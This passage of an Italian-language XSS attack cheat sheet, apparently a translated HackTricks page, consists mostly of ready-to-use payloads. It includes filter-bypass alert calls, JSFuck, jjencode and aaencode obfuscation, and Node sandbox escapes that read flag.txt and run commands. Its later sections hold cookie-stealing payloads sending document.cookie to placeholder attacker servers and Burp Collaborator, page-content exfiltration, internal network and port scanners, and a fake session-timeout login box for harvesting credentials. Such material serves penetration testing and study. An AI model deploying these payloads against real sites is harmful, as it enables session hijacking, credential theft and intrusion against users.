// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Chiamata arbitraria di funzione (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
Esiste del JS code che utilizza dati non sicuri controllati da un attacker come location.href. Un attacker potrebbe abusarne per eseguire codice JS arbitrario.
A causa dell’estensione della spiegazione di DOM vulnerabilities è stata spostata in questa pagina:
Lì troverai una spiegazione dettagliata di cosa sono le DOM vulnerabilities, come vengono provocate e come sfruttarle.
Inoltre, non dimenticare che alla fine del post citato puoi trovare una spiegazione su DOM Clobbering attacks.
Potenziamento di Self-XSS
Cookie XSS
Se riesci a innescare una XSS inviando il payload dentro un cookie, solitamente si tratta di una Self-XSS. Tuttavia, se trovi un sottodominio vulnerabile a XSS, puoi abusare di questa XSS per iniettare un cookie nell’intero dominio riuscendo a innescare la cookie XSS nel dominio principale o in altri sottodomini (quelli vulnerabili alla cookie XSS). Per questo puoi usare il cookie tossing attack:
Puoi trovare un ottimo esempio di abuso di questa tecnica in questo post del blog.
Inviare la tua sessione all’amministratore
Può darsi che un utente possa condividere il suo profilo con l’amministratore e se la Self-XSS è presente nel profilo dell’utente e l’amministratore vi accede, lui attiverà la vulnerabilità.
Session Mirroring
Se trovi una Self-XSS e la pagina web dispone di session mirroring per gli amministratori, ad esempio permettendo ai clienti di chiedere aiuto e, per assisterti, l’amministratore vedrà quello che vedi nella tua sessione ma dalla sua sessione.
Potresti far sì che l’amministratore attivi la tua Self-XSS e rubare i suoi cookie/sessione.
Altri Bypass
Bypassing sanitization via WASM linear-memory template overwrite
Quando un’app web usa Emscripten/WASM, le stringhe costanti (come HTML format stubs) risiedono nella writable linear memory. Un singolo in‑WASM overflow (p.es., memcpy non controllata in un edit path) può corrompere strutture adiacenti e reindirizzare le scritture verso quelle costanti. Sovrascrivere un template come “” trasforma un input sanitizzato in un valore per un JavaScript handler e causa un DOM XSS immediato al render.
Consulta la pagina dedicata con workflow di exploitation, DevTools memory helpers e contromisure:
Wasm Linear Memory Template Overwrite Xss
Unicode normalizzato
Puoi verificare se i valori riflessi vengono normalizzati in Unicode sul server (o lato client) e abusare di questa funzionalità per bypassare le protezioni. Trova un esempio qui.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
Per via di RoR mass assignment le virgolette vengono inserite nell’HTML e quindi la restrizione sulle virgolette viene bypassata e campi aggiuntivi (onfocus) possono essere inseriti all’interno del tag.
Esempio di form (from this report), se invii il payload:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
La coppia “Key”,“Value” verrà visualizzata così:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Quindi, l’attributo onfocus verrà inserito e si verificherà XSS.
Combinazioni speciali
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS con header injection in una risposta 302
Se scopri che puoi inject headers in a 302 Redirect response puoi provare a make the browser execute arbitrary JavaScript. Questo è not trivial poiché i browser moderni non interpretano il body della risposta HTTP se lo status code della risposta HTTP è 302, quindi un payload di cross-site scripting da solo è inutile.
In this report e this one puoi leggere come testare diversi protocolli all’interno dell’header Location e verificare se uno di essi permette al browser di ispezionare ed eseguire il payload XSS presente nel body.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
Solo lettere, numeri e punti
Se sei in grado di indicare il callback che javascript andrà a execute limitato a quei caratteri. Read this section of this post per scoprire come abusare di questo comportamento.
Content-Type validi per <script> per XSS
(From here) Se provi a caricare uno script con un content-type come application/octet-stream, Chrome genererà il seguente errore:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Gli unici Content-Type che permettono a Chrome di eseguire uno script caricato sono quelli all’interno della const kSupportedJavascriptTypes da https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Tipi di script per XSS
(Da here) Quindi, quali tipi potrebbero essere indicati per caricare uno script?
<script type="???"></script>
La risposta è:
- module (predefinito, niente da spiegare)
- webbundle: Web Bundles è una funzionalità che ti permette di impacchettare un insieme di dati (HTML, CSS, JS…) in un file
.wbn.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Consente di migliorare la sintassi di importazione
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
Questo comportamento è stato usato in this writeup per rimappare una libreria su eval; abusarne può innescare XSS.
- speculationrules: Questa funzionalità serve principalmente a risolvere alcuni problemi causati dal pre-rendering. Funziona così:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Web Content-Types per XSS
(From here) The following content types can execute XSS in all browsers:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? non nella lista ma penso di averlo visto in un CTF)
- application/rss+xml (off)
- application/atom+xml (off)
In other browsers other Content-Types can be used to execute arbitrary JS, check: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Content Type
Se la pagina restituisce un content-type text/xml è possibile indicare un namespace ed eseguire JS arbitrario:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Pattern Speciali di Sostituzione
Quando viene usato qualcosa come "some {{template}} data".replace("{{template}}", <user_input>), l’attaccante potrebbe utilizzare special string replacements per cercare di bypassare alcune protezioni: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Ad esempio, in this writeup, questo è stato usato per scape a JSON string all’interno di uno script ed eseguire codice arbitrario.
Chrome Cache to XSS
XS Jails Escape
Se hai a disposizione solo un set limitato di chars da usare, controlla queste altre soluzioni valide per problemi di XSJail:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Se tutto è undefined prima di eseguire untrusted code (come in this writeup) è possibile generare oggetti utili “dal nulla” per abusare dell’esecuzione di untrusted code arbitrario:
- Usando import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- Accesso indiretto a
require
According to this i moduli sono incapsulati da Node.js all’interno di una funzione, come questa:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
Pertanto, se da quel modulo possiamo chiamare un’altra funzione, è possibile usare arguments.callee.caller.arguments[1] da quella funzione per accedere a require:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
In modo simile all’esempio precedente, è possibile use error handlers per accedere al wrapper del modulo e ottenere la funzione require:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- Diverse obfuscations in una pagina: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- JSFuck più sofisticato: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS payload comuni
Diversi payload in 1
Iframe Trap
Far navigare l’utente nella pagina senza uscire dall’iframe e rubare le sue azioni (incluse le informazioni inviate nei moduli):
Recuperare Cookies
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
Tip
Non potrai accedere ai cookies da JavaScript se il flag HTTPOnly è impostato nel cookie. Ma qui hai some ways to bypass this protection se sei abbastanza fortunato.
Steal Page Content
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
Trova IP interni
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
I tempi brevi indicano una porta che risponde I tempi più lunghi indicano nessuna risposta.
Consulta l’elenco delle porte bloccate in Chrome here e in Firefox here.
Casella per richiedere credentials
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Cattura delle password autocompilate
